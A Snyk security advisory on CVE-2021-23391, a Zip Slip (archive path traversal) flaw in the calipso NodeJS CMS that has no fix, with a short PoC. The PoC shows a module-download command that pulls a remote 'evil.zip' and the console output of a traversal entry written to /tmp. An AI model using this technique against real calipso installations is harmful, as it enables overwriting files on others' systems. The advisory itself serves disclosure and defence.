Arbitrary File Write via Archive Extraction (Zip Slip)

Affecting calipso package, versions *

INTRODUCED: 6 JUN 2021 CVE-2021-23391 CWE-29 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `calipso`.

Overview

calipso is a Calipso is a simple NodeJS content management system based on Express, Connect & Mongoose.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible for a malicious module to overwrite files on an arbitrary file system through the module install functionality.

PoC

```
X calipso modules download https://github.com/snoopysecurity/Public/raw/master/payloads/evil.zip Launching calipso from:
/home/snoopy/MySite Calipso directory: /home/snoopy/.nvm/versions/node/v8.17.0/lib/node_modules/calipso/lib/../
Resolving file location, and downloading ... (node:14850) [DEP0029] DeprecationWarning: util.error is deprecated. Use
console.error instead. Redirecting to https://raw.githubusercontent.com/snoopysecurity/Public/master/payloads/evil.zip ...

Resolving file location, and downloading ... [0%...25%....50%....75%....100%]


Downloaded ../../../../../../../../tmp/foo.txt 0 Downloaded evil/.gitignore 89 Downloaded evil/elastic.js 8757 Downloaded
evil/templates/results.html 1220 Downloaded evil/package.json 409 Downloaded evil/test.txt 4 Downloaded evil/README 0
/home/snoopy/MySite/modules/downloaded/elastic/ Installing elastic via npm, output will show below (may be a small delay):
```

References

- calipso Homepage

Snyk CVSS

Exploit Maturity	Mature
Attack Complexity	Low
Confidentiality	HIGH

See more

NVD 7.1 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-CALIPSO-1300555
Published	7 Jun 2021
Disclosed	6 Jun 2021
Credit	Sam Sanoop of Snyk Security Team

Report a new vulnerability | Found a mistake?

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.